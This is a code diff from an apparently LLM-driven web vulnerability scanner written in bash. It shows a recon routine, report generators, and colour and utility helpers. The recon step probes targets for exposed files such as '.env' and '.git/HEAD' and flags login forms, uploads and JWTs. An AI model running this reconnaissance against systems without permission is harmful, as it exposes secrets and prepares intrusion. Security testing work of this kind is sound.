local title=$(get_title "$target")
|
||||||
|
[ -n "$title" ] && RECON_DATA+="Page Title: $title\n" && print_info "Title: $title"
|
||||||
|
|
||||||
|
# 3. Technologies (basic)
|
||||||
|
print_sub "Detecting technologies..."
|
||||||
|
local techs=""
|
||||||
|
echo "$headers" | grep -qi 'php' && techs+="PHP, " && RECON_DATA+="Tech: PHP\n"
|
||||||
|
echo "$headers" | grep -qi 'asp\.net\|x-aspnet' && techs+="ASP.NET, " && RECON_DATA+="Tech: ASP.NET\n"
|
||||||
|
echo "$headers" | grep -qi 'nginx' && techs+="Nginx, " && RECON_DATA+="Tech: Nginx\n"
|
||||||
|
echo "$headers" | grep -qi 'apache' && techs+="Apache, " && RECON_DATA+="Tech: Apache\n"
|
||||||
|
echo "$headers" | grep -qi 'express' && techs+="Express, " && RECON_DATA+="Tech: Express/Node\n"
|
||||||
|
echo "$headers" | grep -qi 'django\|python' && techs+="Python/Django, " && RECON_DATA+="Tech: Python/Django\n"
|
||||||
|
echo "$headers" | grep -qi 'rails\|ruby' && techs+="Ruby/Rails, " && RECON_DATA+="Tech: Ruby/Rails\n"
|
||||||
|
echo "$headers" | grep -qi 'java\|tomcat\|jboss' && techs+="Java, " && RECON_DATA+="Tech: Java\n"
|
||||||
|
echo "$headers" | grep -qi 'wordpress' && techs+="WordPress, " && RECON_DATA+="Tech: WordPress\n"
|
||||||
|
echo "$headers" | grep -qi 'cloudflare' && techs+="Cloudflare, "
|
||||||
|
echo "$headers" | grep -qi 'set-cookie.*session' && RECON_DATA+="Has Session Cookies: true\n"
|
||||||
|
|
||||||
|
[ -n "$techs" ] && print_info "Tech: ${techs%, }"
|
||||||
|
|
||||||
|
# 4. Check for common paths
|
||||||
|
print_sub "Checking common endpoints..."
|
||||||
|
local common_paths=("robots.txt" "sitemap.xml" ".git/HEAD" ".env" "admin" "api" "wp-admin" "login" "graphql")
|
||||||
|
local found_paths=""
|
||||||
|
|
||||||
|
for path in "${common_paths[@]}"; do
|
||||||
|
local code=$(http_check "$target/$path" 2>/dev/null)
|
||||||
|
if [[ "$code" =~ ^[23] ]]; then
|
||||||
|
found_paths+="$path($code), "
|
||||||
|
RECON_DATA+="Endpoint Found: /$path (HTTP $code)\n"
|
||||||
|
print_find "Found: /$path (HTTP $code)"
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
# 5. Page content samples (first 5KB)
|
||||||
|
print_sub "Sampling page content..."
|
||||||
|
local page_content=$(curl -s --connect-timeout 5 --max-time 10 "$target" 2>/dev/null | head -c 5000)
|
||||||
|
|
||||||
|
# Detect forms
|
||||||
|
if echo "$page_content" | grep -qi '<form\|<input.*type="\(text\|password\|email\|search\)"\|method="\(get\|post\)"'; then
|
||||||
|
RECON_DATA+="Has Forms: true\n"
|
||||||
|
print_info "Forms detected on page"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Detect login
|
||||||
|
if echo "$page_content" | grep -qi 'login\|signin\|password\|type="password"'; then
|
||||||
|
RECON_DATA+="Has Login: true\n"
|
||||||
|
print_info "Login form detected"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Detect search
|
||||||
|
if echo "$page_content" | grep -qi 'search\|type="search"\|name="q"\|\bapi\b'; then
|
||||||
|
RECON_DATA+="Has Search: true\n"
|
||||||
|
print_info "Search functionality detected"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Detect file upload
|
||||||
|
if echo "$page_content" | grep -qi 'type="file"\|multipart/form-data\|upload'; then
|
||||||
|
RECON_DATA+="Has File Upload: true\n"
|
||||||
|
print_info "File upload detected"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Detect JS frameworks / SPAs
|
||||||
|
if echo "$page_content" | grep -qi 'react\|vue\|angular\|next.js\|nuxt'; then
|
||||||
|
RECON_DATA+="SPA Framework: true\n"
|
||||||
|
print_info "SPA framework detected"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Detect API endpoints
|
||||||
|
if echo "$page_content" | grep -qi 'api\.\|/v1/\|/v2/\|/api/\|graphql\|rest\|endpoint'; then
|
||||||
|
RECON_DATA+="Has API References: true\n"
|
||||||
|
print_info "API references found in page"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Detect JWT
|
||||||
|
if echo "$page_content" | grep -qi 'eyJ[a-zA-Z0-9_-]*\.eyJ[a-zA-Z0-9_-]*'; then
|
||||||
|
RECON_DATA+="JWT Tokens Found: true\n"
|
||||||
|
print_find "JWT tokens detected in page!"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Save recon data for the brain
|
||||||
|
echo "$RECON_DATA" > "$REPORTS_DIR/.${domain}_recon.txt"
|
||||||
|
|
||||||
|
print_ok "Recon complete for $domain"
|
||||||
|
return 0
|
||||||
|
}
|
||||||
242
engine/reporter.sh
Executable file
242
engine/reporter.sh
Executable file
@@ -0,0 +1,242 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# The Analyzer - Report Generator
|
||||||
|
|
||||||
|
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||||
|
source "$SCRIPT_DIR/../lib/utils.sh"
|
||||||
|
|
||||||
|
generate_report() {
|
||||||
|
local target="$1"
|
||||||
|
local report="$2"
|
||||||
|
local findings="$3"
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
print_info "Generating final report..."
|
||||||
|
separator
|
||||||
|
|
||||||
|
if [ -z "$findings" ] || [ "$findings" -eq 0 ]; then
|
||||||
|
append_report "$report" "\n## Results\n\nNo vulnerabilities found during testing.\n"
|
||||||
|
print_ok "No vulnerabilities found"
|
||||||
|
finalize_report "$report" 0 0
|
||||||
|
print_report_summary "$report"
|
||||||
|
return
|
||||||
|
fi
|
||||||
|
|
||||||
|
print_find "$findings vulnerabilities discovered!"
|
||||||
|
|
||||||
|
# Append the findings to report
|
||||||
|
append_report "$report" "\n## Vulnerabilities Found\n\n"
|
||||||
|
|
||||||
|
local count=1
|
||||||
|
for f in "$REPORTS_DIR"/.finding_*.txt; do
|
||||||
|
[ ! -f "$f" ] && continue
|
||||||
|
local finding=$(cat "$f")
|
||||||
|
local severity=$(echo "$finding" | grep "^SEVERITY:" | cut -d: -f2- | xargs)
|
||||||
|
local vector=$(echo "$finding" | grep "^VECTOR:" | cut -d: -f2- | xargs)
|
||||||
|
local detail=$(echo "$finding" | grep "^DETAIL:" | cut -d: -f2- | xargs)
|
||||||
|
local evidence=$(echo "$finding" | grep "^EVIDENCE:" | cut -d: -f2- | xargs)
|
||||||
|
local exploit=$(echo "$finding" | grep "^EXPLOIT:" | cut -d: -f2- | xargs)
|
||||||
|
|
||||||
|
local severity_emoji="🟢"
|
||||||
|
case "$severity" in
|
||||||
|
CRITICAL) severity_emoji="🔴" ;;
|
||||||
|
HIGH) severity_emoji="🟠" ;;
|
||||||
|
MEDIUM) severity_emoji="🟡" ;;
|
||||||
|
LOW) severity_emoji="🔵" ;;
|
||||||
|
*) severity_emoji="⚪" ;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
append_report "$report" "### $count. $vector\n"
|
||||||
|
append_report "$report" "- **Severity:** $severity_emoji $severity\n"
|
||||||
|
append_report "$report" "- **Detail:** $detail\n"
|
||||||
|
[ -n "$evidence" ] && append_report "$report" "- **Evidence:** $evidence\n"
|
||||||
|
[ -n "$exploit" ] && append_report "$report" "- **Exploitation:** $exploit\n"
|
||||||
|
append_report "$report" "\n"
|
||||||
|
|
||||||
|
count=$((count + 1))
|
||||||
|
done
|
||||||
|
|
||||||
|
finalize_report "$report" $((count - 1)) $findings
|
||||||
|
print_report_summary "$report"
|
||||||
|
}
|
||||||
|
|
||||||
|
print_report_summary() {
|
||||||
|
local report="$1"
|
||||||
|
echo ""
|
||||||
|
separator
|
||||||
|
echo -e " ${BRIGHT_GREEN}${ICON_DONE}${NC} ${BOLD}Analysis Complete!${NC}"
|
||||||
|
echo -e " ${CYAN}${ICON_REPORT}${NC} Report: ${BOLD}$report${NC}"
|
||||||
|
|
||||||
|
# Get count
|
||||||
|
local vulns=$(grep -c "### [0-9]" "$report" 2>/dev/null)
|
||||||
|
if [ "$vulns" -gt 0 ]; then
|
||||||
|
echo ""
|
||||||
|
echo -e " ${BRIGHT_RED}${BOLD}⚠ $vulns vulnerabilities found!${NC}"
|
||||||
|
echo ""
|
||||||
|
# List them
|
||||||
|
grep "^### " "$report" | while read line; do
|
||||||
|
sev=$(grep -A1 "$line" "$report" | grep "Severity:" | sed 's/.*\*\*Severity:\*\* //')
|
||||||
|
echo -e " ${BRIGHT_RED}!${NC} $line ($sev)"
|
||||||
|
done
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
print_info "HTML version also saved: ${report%.md}.html"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Generate HTML report from markdown
|
||||||
|
html_report() {
|
||||||
|
local md_report="$1"
|
||||||
|
local html_report="${md_report%.md}.html"
|
||||||
|
local domain=$(grep "^**Domain:**" "$md_report" | sed 's/.*\*\*Domain:\*\* //')
|
||||||
|
local date=$(grep "^**Date:**" "$md_report" | sed 's/.*\*\*Date:\*\* //')
|
||||||
|
|
||||||
|
# Count by severity
|
||||||
|
local crit=$(grep -c "🔴" "$md_report" 2>/dev/null || echo 0)
|
||||||
|
local high=$(grep -c "🟠" "$md_report" 2>/dev/null || echo 0)
|
||||||
|
local med=$(grep -c "🟡" "$md_report" 2>/dev/null || echo 0)
|
||||||
|
local low=$(grep -c "🔵" "$md_report" 2>/dev/null || echo 0)
|
||||||
|
|
||||||
|
# Extract findings
|
||||||
|
local findings_html=""
|
||||||
|
local in_finding=false
|
||||||
|
local finding_num=""
|
||||||
|
local finding_title=""
|
||||||
|
local finding_sev=""
|
||||||
|
local finding_detail=""
|
||||||
|
local finding_evidence=""
|
||||||
|
local finding_exploit=""
|
||||||
|
|
||||||
|
while IFS= read -r line; do
|
||||||
|
if [[ "$line" =~ ^###\ ([0-9]+)\.\ (.*) ]]; then
|
||||||
|
# Save previous finding
|
||||||
|
if [ -n "$finding_title" ]; then
|
||||||
|
local border_color="border-left: 4px solid #22c55e;"
|
||||||
|
local badge_bg="#22c55e"
|
||||||
|
case "$finding_sev" in
|
||||||
|
*CRITICAL*) border_color="border-left: 4px solid #ef4444;"; badge_bg="#ef4444" ;;
|
||||||
|
*HIGH*) border_color="border-left: 4px solid #f97316;"; badge_bg="#f97316" ;;
|
||||||
|
*MEDIUM*) border_color="border-left: 4px solid #eab308;"; badge_bg="#eab308" ;;
|
||||||
|
*LOW*) border_color="border-left: 4px solid #3b82f6;"; badge_bg="#3b82f6" ;;
|
||||||
|
esac
|
||||||
|
findings_html+="<div class=\"finding\" style=\"background:#1e293b;border-radius:8px;padding:16px;margin-bottom:12px;${border_color}\">"
|
||||||
|
findings_html+="<div class=\"finding-header\" style=\"display:flex;justify-content:space-between;align-items:center;margin-bottom:8px;\">"
|
||||||
|
findings_html+="<h3 style=\"margin:0;color:#f1f5f9;font-size:16px;\">${finding_num}. ${finding_title}</h3>"
|
||||||
|
findings_html+="<span class=\"badge\" style=\"background:${badge_bg};color:#fff;padding:2px 10px;border-radius:12px;font-size:12px;font-weight:bold;\">${finding_sev//\*/}</span>"
|
||||||
|
findings_html+="</div>"
|
||||||
|
[ -n "$finding_detail" ] && findings_html+="<p style=\"color:#94a3b8;font-size:14px;margin:4px 0;\">${finding_detail}</p>"
|
||||||
|
[ -n "$finding_evidence" ] && findings_html+="<div style=\"background:#0f172a;padding:8px 12px;border-radius:4px;font-family:monospace;font-size:12px;color:#22d3ee;margin:8px 0;word-break:break-all;\">${finding_evidence}</div>"
|
||||||
|
[ -n "$finding_exploit" ] && findings_html+="<div style=\"background:#0f172a;padding:8px 12px;border-radius:4px;font-family:monospace;font-size:12px;color:#fbbf24;margin:8px 0;\"><strong style=\"color:#f59e0b;\">Exploit:</strong> ${finding_exploit}</div>"
|
||||||
|
findings_html+="</div>"
|
||||||
|
fi
|
||||||
|
|
||||||
|
finding_num="${BASH_REMATCH[1]}"
|
||||||
|
finding_title="${BASH_REMATCH[2]}"
|
||||||
|
finding_sev=""
|
||||||
|
finding_detail=""
|
||||||
|
finding_evidence=""
|
||||||
|
finding_exploit=""
|
||||||
|
in_finding=true
|
||||||
|
elif [[ "$line" =~ \*\*Severity:\*\*\ (.*) ]]; then
|
||||||
|
finding_sev="${BASH_REMATCH[1]}"
|
||||||
|
elif [[ "$line" =~ \*\*Detail:\*\*\ (.*) ]]; then
|
||||||
|
finding_detail="${BASH_REMATCH[1]}"
|
||||||
|
elif [[ "$line" =~ \*\*Evidence:\*\*\ (.*) ]]; then
|
||||||
|
finding_evidence="${BASH_REMATCH[1]}"
|
||||||
|
elif [[ "$line" =~ \*\*Exploitation:\*\*\ (.*) ]]; then
|
||||||
|
finding_exploit="${BASH_REMATCH[1]}"
|
||||||
|
fi
|
||||||
|
done < "$md_report"
|
||||||
|
|
||||||
|
# Last finding
|
||||||
|
if [ -n "$finding_title" ]; then
|
||||||
|
local border_color="border-left: 4px solid #22c55e;"
|
||||||
|
local badge_bg="#22c55e"
|
||||||
|
case "$finding_sev" in
|
||||||
|
*CRITICAL*) border_color="border-left: 4px solid #ef4444;"; badge_bg="#ef4444" ;;
|
||||||
|
*HIGH*) border_color="border-left: 4px solid #f97316;"; badge_bg="#f97316" ;;
|
||||||
|
*MEDIUM*) border_color="border-left: 4px solid #eab308;"; badge_bg="#eab308" ;;
|
||||||
|
*LOW*) border_color="border-left: 4px solid #3b82f6;"; badge_bg="#3b82f6" ;;
|
||||||
|
esac
|
||||||
|
findings_html+="<div class=\"finding\" style=\"background:#1e293b;border-radius:8px;padding:16px;margin-bottom:12px;${border_color}\">"
|
||||||
|
findings_html+="<div class=\"finding-header\" style=\"display:flex;justify-content:space-between;align-items:center;margin-bottom:8px;\">"
|
||||||
|
findings_html+="<h3 style=\"margin:0;color:#f1f5f9;font-size:16px;\">${finding_num}. ${finding_title}</h3>"
|
||||||
|
findings_html+="<span class=\"badge\" style=\"background:${badge_bg};color:#fff;padding:2px 10px;border-radius:12px;font-size:12px;font-weight:bold;\">${finding_sev//\*/}</span>"
|
||||||
|
findings_html+="</div>"
|
||||||
|
[ -n "$finding_detail" ] && findings_html+="<p style=\"color:#94a3b8;font-size:14px;margin:4px 0;\">${finding_detail}</p>"
|
||||||
|
[ -n "$finding_evidence" ] && findings_html+="<div style=\"background:#0f172a;padding:8px 12px;border-radius:4px;font-family:monospace;font-size:12px;color:#22d3ee;margin:8px 0;word-break:break-all;\">${finding_evidence}</div>"
|
||||||
|
[ -n "$finding_exploit" ] && findings_html+="<div style=\"background:#0f172a;padding:8px 12px;border-radius:4px;font-family:monospace;font-size:12px;color:#fbbf24;margin:8px 0;\"><strong style=\"color:#f59e0b;\">Exploit:</strong> ${finding_exploit}</div>"
|
||||||
|
findings_html+="</div>"
|
||||||
|
fi
|
||||||
|
|
||||||
|
local total_findings=$((crit + high + med + low))
|
||||||
|
|
||||||
|
cat > "$html_report" << HTML
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>Analyzer Report - ${domain}</title>
|
||||||
|
<style>
|
||||||
|
* { margin: 0; padding: 0; box-sizing: border-box; }
|
||||||
|
body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif; background: #0f172a; color: #e2e8f0; line-height: 1.6; }
|
||||||
|
.container { max-width: 800px; margin: 0 auto; padding: 20px; }
|
||||||
|
.header { background: linear-gradient(135deg, #0f172a, #1e293b); padding: 32px; border-radius: 12px; margin-bottom: 24px; text-align: center; border: 1px solid #334155; }
|
||||||
|
.header h1 { font-size: 24px; margin-bottom: 8px; background: linear-gradient(90deg, #f97316, #ef4444); -webkit-background-clip: text; -webkit-text-fill-color: transparent; }
|
||||||
|
.header p { color: #94a3b8; font-size: 14px; }
|
||||||
|
.header .domain { color: #f97316; font-size: 18px; font-weight: bold; -webkit-text-fill-color: #f97316; margin: 8px 0; }
|
||||||
|
.stats { display: grid; grid-template-columns: repeat(4, 1fr); gap: 12px; margin-bottom: 24px; }
|
||||||
|
.stat-card { background: #1e293b; padding: 16px; border-radius: 8px; text-align: center; border: 1px solid #334155; }
|
||||||
|
.stat-card .number { font-size: 28px; font-weight: bold; }
|
||||||
|
.stat-card .label { font-size: 12px; color: #94a3b8; margin-top: 4px; }
|
||||||
|
.critical .number { color: #ef4444; }
|
||||||
|
.high .number { color: #f97316; }
|
||||||
|
.medium .number { color: #eab308; }
|
||||||
|
.low .number { color: #3b82f6; }
|
||||||
|
.section-title { font-size: 18px; font-weight: bold; margin: 24px 0 12px; color: #f1f5f9; border-bottom: 1px solid #334155; padding-bottom: 8px; }
|
||||||
|
.finding { transition: transform 0.1s; }
|
||||||
|
.finding:hover { transform: translateX(4px); }
|
||||||
|
.footer { text-align: center; padding: 20px; color: #475569; font-size: 12px; margin-top: 32px; border-top: 1px solid #1e293b; }
|
||||||
|
</style>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<div class="container">
|
||||||
|
<div class="header">
|
||||||
|
<h1>🔍 Analyzer Security Report</h1>
|
||||||
|
<div class="domain">${domain}</div>
|
||||||
|
<p>${date}</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="stats">
|
||||||
|
<div class="stat-card critical">
|
||||||
|
<div class="number">${crit}</div>
|
||||||
|
<div class="label">Critical</div>
|
||||||
|
</div>
|
||||||
|
<div class="stat-card high">
|
||||||
|
<div class="number">${high}</div>
|
||||||
|
<div class="label">High</div>
|
||||||
|
</div>
|
||||||
|
<div class="stat-card medium">
|
||||||
|
<div class="number">${med}</div>
|
||||||
|
<div class="label">Medium</div>
|
||||||
|
</div>
|
||||||
|
<div class="stat-card low">
|
||||||
|
<div class="number">${low}</div>
|
||||||
|
<div class="label">Low</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="section-title">Findings</div>
|
||||||
|
${findings_html}
|
||||||
|
|
||||||
|
<div class="footer">
|
||||||
|
Generated by The Analyzer v1.0 — Authorized Bug Bounty Use Only<br>
|
||||||
|
Analyst: Drjonesxxx / Indianaholmes
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
HTML
|
||||||
|
|
||||||
|
echo "$html_report"
|
||||||
|
}
|
||||||
123
lib/colors.sh
Executable file
123
lib/colors.sh
Executable file
@@ -0,0 +1,123 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# The Analyzer - Terminal Colors & UI
|
||||||
|
|
||||||
|
# Reset
|
||||||
|
export NC='\033[0m'
|
||||||
|
|
||||||
|
# Foreground
|
||||||
|
export BLACK='\033[0;30m'
|
||||||
|
export RED='\033[0;31m'
|
||||||
|
export GREEN='\033[0;32m'
|
||||||
|
export YELLOW='\033[0;33m'
|
||||||
|
export BLUE='\033[0;34m'
|
||||||
|
export MAGENTA='\033[0;35m'
|
||||||
|
export CYAN='\033[0;36m'
|
||||||
|
export WHITE='\033[0;37m'
|
||||||
|
export BOLD='\033[1m'
|
||||||
|
export DIM='\033[2m'
|
||||||
|
|
||||||
|
# Bright
|
||||||
|
export BRIGHT_RED='\033[0;91m'
|
||||||
|
export BRIGHT_GREEN='\033[0;92m'
|
||||||
|
export BRIGHT_YELLOW='\033[0;93m'
|
||||||
|
export BRIGHT_BLUE='\033[0;94m'
|
||||||
|
export BRIGHT_MAGENTA='\033[0;95m'
|
||||||
|
export BRIGHT_CYAN='\033[0;96m'
|
||||||
|
|
||||||
|
# Icons
|
||||||
|
export ICON_TARGET="🎯"
|
||||||
|
export ICON_SCAN="🔍"
|
||||||
|
export ICON_FIRE="🔥"
|
||||||
|
export ICON_FOUND="💥"
|
||||||
|
export ICON_SAFE="✅"
|
||||||
|
export ICON_WARN="⚠️"
|
||||||
|
export ICON_SKIP="⏭️"
|
||||||
|
export ICON_DONE="✨"
|
||||||
|
export ICON_BRAIN="🧠"
|
||||||
|
export ICON_REPORT="📄"
|
||||||
|
export ICON_ERROR="❌"
|
||||||
|
export ICON_INFO="ℹ️"
|
||||||
|
export ICON_ARROW="➜"
|
||||||
|
export ICON_SQL="🗄️"
|
||||||
|
export ICON_XSS="💉"
|
||||||
|
export ICON_API="🔌"
|
||||||
|
export ICON_GEAR="⚙️"
|
||||||
|
|
||||||
|
# Print helpers
|
||||||
|
print_banner() {
|
||||||
|
TERM="${TERM:-xterm}" clear 2>/dev/null; true
|
||||||
|
echo -e "${BRIGHT_RED}"
|
||||||
|
echo '┌──────────────────────────────────────────────┐'
|
||||||
|
echo '│ │'
|
||||||
|
echo '│ ████████╗██╗ ██╗███████╗ │'
|
||||||
|
echo '│ ╚══██╔══╝██║ ██║██╔════╝ │'
|
||||||
|
echo '│ ██║ ███████║█████╗ │'
|
||||||
|
echo '│ ██║ ██╔══██║██╔══╝ │'
|
||||||
|
echo '│ ██║ ██║ ██║███████╗ │'
|
||||||
|
echo '│ ╚═╝ ╚═╝ ╚═╝╚══════╝ │'
|
||||||
|
echo '│ │'
|
||||||
|
echo '│ ╔══════════════════════════════════════╗ │'
|
||||||
|
echo '│ ║ AUTONOMOUS ANALYZER v1.0 ║ │'
|
||||||
|
echo '│ ╚══════════════════════════════════════╝ │'
|
||||||
|
echo '│ │'
|
||||||
|
echo '│ Authorized Bug Bounty Use Only │'
|
||||||
|
echo '│ Drjonesxxx / Indianaholmes │'
|
||||||
|
echo '└──────────────────────────────────────────────┘'
|
||||||
|
echo -e "${NC}"
|
||||||
|
}
|
||||||
|
|
||||||
|
print_step() {
|
||||||
|
echo -e "\n${CYAN}${ICON_GEAR} [${1}/${2}] ${3}${NC}"
|
||||||
|
echo -e "${DIM}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
|
||||||
|
}
|
||||||
|
|
||||||
|
print_sub() {
|
||||||
|
echo -e " ${ICON_ARROW} ${DIM}${1}${NC}"
|
||||||
|
}
|
||||||
|
|
||||||
|
print_ok() {
|
||||||
|
echo -e " ${GREEN}${ICON_SAFE} ${1}${NC}"
|
||||||
|
}
|
||||||
|
|
||||||
|
print_find() {
|
||||||
|
echo -e " ${BRIGHT_RED}${ICON_FOUND} ${BOLD}${1}${NC}"
|
||||||
|
if [ -n "${2:-}" ]; then echo -e " ${YELLOW} Details: ${2}${NC}"; fi
|
||||||
|
}
|
||||||
|
|
||||||
|
print_warn() {
|
||||||
|
echo -e " ${YELLOW}${ICON_WARN} ${1}${NC}"
|
||||||
|
}
|
||||||
|
|
||||||
|
print_skip() {
|
||||||
|
echo -e " ${DIM}${ICON_SKIP} ${1}${NC}"
|
||||||
|
}
|
||||||
|
|
||||||
|
print_error() {
|
||||||
|
echo -e " ${BRIGHT_RED}${ICON_ERROR} ${1}${NC}"
|
||||||
|
if [ -n "${2:-}" ]; then echo -e " ${RED} ${2}${NC}"; fi
|
||||||
|
}
|
||||||
|
|
||||||
|
print_info() {
|
||||||
|
echo -e " ${BRIGHT_BLUE}${ICON_INFO} ${1}${NC}"
|
||||||
|
}
|
||||||
|
|
||||||
|
print_brain() {
|
||||||
|
echo -e " ${MAGENTA}${ICON_BRAIN} ${1}${NC}"
|
||||||
|
}
|
||||||
|
|
||||||
|
spinner() {
|
||||||
|
local pid=$1
|
||||||
|
local msg=$2
|
||||||
|
local spin='⠋⠙⠹⠸⠼⠴⠦⠧⠇⠏'
|
||||||
|
local i=0
|
||||||
|
while kill -0 $pid 2>/dev/null; do
|
||||||
|
i=$(( (i+1) % ${#spin} ))
|
||||||
|
printf "\r ${CYAN}${spin:$i:1}${NC} ${msg} "
|
||||||
|
sleep 0.1
|
||||||
|
done
|
||||||
|
printf "\r ${GREEN}${ICON_DONE}${NC} ${msg} \n"
|
||||||
|
}
|
||||||
|
|
||||||
|
separator() {
|
||||||
|
echo -e "${DIM}──────────────────────────────────────────────${NC}"
|
||||||
|
}
|
||||||
213
lib/utils.sh
Executable file
213
lib/utils.sh
Executable file
@@ -0,0 +1,213 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# The Analyzer - Shared Utilities
|
||||||
|
|
||||||
|
# Load colors
|
||||||
|
__UTILS_SRC="${BASH_SOURCE[0]}"
|
||||||
|
if command -v readlink &>/dev/null; then
|
||||||
|
while [ -h "$__UTILS_SRC" ]; do
|
||||||
|
__UTILS_SRC="$(readlink "$__UTILS_SRC")"
|
||||||
|
[[ "$__UTILS_SRC" != /* ]] && __UTILS_SRC="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)/$__UTILS_SRC"
|
||||||
|
done
|
||||||
|
fi
|
||||||
|
SCRIPT_DIR="$(cd "$(dirname "$__UTILS_SRC")" && pwd 2>/dev/null)" || SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||||
|
unset __UTILS_SRC
|
||||||
|
source "$SCRIPT_DIR/colors.sh"
|
||||||
|
|
||||||
|
# Config
|
||||||
|
export ANALYZER_DIR="$SCRIPT_DIR/.."
|
||||||
|
export VECTORS_DIR="$ANALYZER_DIR/vectors"
|
||||||
|
export REPORTS_DIR="$ANALYZER_DIR/reports"
|
||||||
|
export ENGINE_DIR="$ANALYZER_DIR/engine"
|
||||||
|
export TIMEOUT=30
|
||||||
|
export MAX_VECTORS=10
|
||||||
|
export OLLAMA_HOST="${OLLAMA_HOST:-http://10.30.20.110:11434}"
|
||||||
|
export OLLAMA_MODEL="${OLLAMA_MODEL:-granite4.1:8b}"
|
||||||
|
|
||||||
|
# Check dependencies
|
||||||
|
check_deps() {
|
||||||
|
local missing=()
|
||||||
|
for cmd in curl jq; do
|
||||||
|
if ! command -v $cmd &>/dev/null; then
|
||||||
|
missing+=("$cmd")
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
if [ ${#missing[@]} -gt 0 ]; then
|
||||||
|
print_error "Missing dependencies: ${missing[*]}"
|
||||||
|
print_info "Install: apt install ${missing[*]}"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
# Check Ollama is running
|
||||||
|
check_ollama() {
|
||||||
|
if ! curl -s "$OLLAMA_HOST/api/tags" >/dev/null 2>&1; then
|
||||||
|
print_error "Ollama not running at $OLLAMA_HOST"
|
||||||
|
print_info "Start it: ollama serve"
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
print_ok "Ollama connected ($OLLAMA_HOST)"
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
|
||||||
|
# Call Ollama with a prompt, return response
|
||||||
|
ollama_prompt() {
|
||||||
|
local prompt="$1"
|
||||||
|
local system="$2"
|
||||||
|
local model="${3:-$OLLAMA_MODEL}"
|
||||||
|
|
||||||
|
local payload=$(jq -n \
|
||||||
|
--arg model "$model" \
|
||||||
|
--arg prompt "$prompt" \
|
||||||
|
--arg system "$system" \
|
||||||
|
'{
|
||||||
|
model: $model,
|
||||||
|
prompt: $prompt,
|
||||||
|
system: $system,
|
||||||
|
stream: false,
|
||||||
|
options: {
|
||||||
|
temperature: 0.2,
|
||||||
|
num_predict: 2048
|
||||||
|
}
|
||||||
|
}')
|
||||||
|
|
||||||
|
local response=$(curl -s "$OLLAMA_HOST/api/generate" \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-d "$payload" 2>/dev/null)
|
||||||
|
|
||||||
|
echo "$response" | jq -r '.response // "ERROR: No response"' 2>/dev/null
|
||||||
|
}
|
||||||
|
|
||||||
|
# Sanitize URL for filenames
|
||||||
|
sanitize() {
|
||||||
|
echo "$1" | sed 's|https\?://||' | sed 's|/|_|g' | sed 's|[^a-zA-Z0-9._-]|_|g'
|
||||||
|
}
|
||||||
|
|
||||||
|
# Extract domain from URL
|
||||||
|
get_domain() {
|
||||||
|
echo "$1" | sed 's|https\?://||' | cut -d/ -f1 | cut -d: -f1
|
||||||
|
}
|
||||||
|
|
||||||
|
# Extract base URL (protocol + domain)
|
||||||
|
get_base() {
|
||||||
|
echo "$1" | sed 's|\(https\?://[^/]*\).*|\1|'
|
||||||
|
}
|
||||||
|
|
||||||
|
# Quick HTTP check
|
||||||
|
http_check() {
|
||||||
|
local url="$1"
|
||||||
|
curl -s -o /dev/null -w "%{http_code}" --connect-timeout 5 --max-time 10 "$url" 2>/dev/null
|
||||||
|
}
|
||||||
|
|
||||||
|
# Get response headers
|
||||||
|
get_headers() {
|
||||||
|
local url="$1"
|
||||||
|
curl -sI --connect-timeout 5 --max-time 10 "$url" 2>/dev/null
|
||||||
|
}
|
||||||
|
|
||||||
|
# Get page title
|
||||||
|
get_title() {
|
||||||
|
local url="$1"
|
||||||
|
curl -s --connect-timeout 5 --max-time 10 "$url" 2>/dev/null | sed -n 's/.*<title>\([^<]*\)<\/title>.*/\1/p' | sed 's/<[^>]*>//g' | head -1
|
||||||
|
}
|
||||||
|
|
||||||
|
# Check if target is alive
|
||||||
|
target_alive() {
|
||||||
|
local code=$(http_check "$1")
|
||||||
|
[[ "$code" =~ ^[23] ]] && return 0
|
||||||
|
return 1
|
||||||
|
}
|
||||||
|
|
||||||
|
# Run a command with timeout, return output
|
||||||
|
run_timeout() {
|
||||||
|
local cmd="$1"
|
||||||
|
local timeout="${2:-$TIMEOUT}"
|
||||||
|
timeout $timeout bash -c "$cmd" 2>/dev/null || echo "TIMEOUT_OR_ERROR"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Colorize severity
|
||||||
|
severity_color() {
|
||||||
|
case "$1" in
|
||||||
|
critical|CRITICAL) echo -e "${BRIGHT_RED}${BOLD}CRITICAL${NC}" ;;
|
||||||
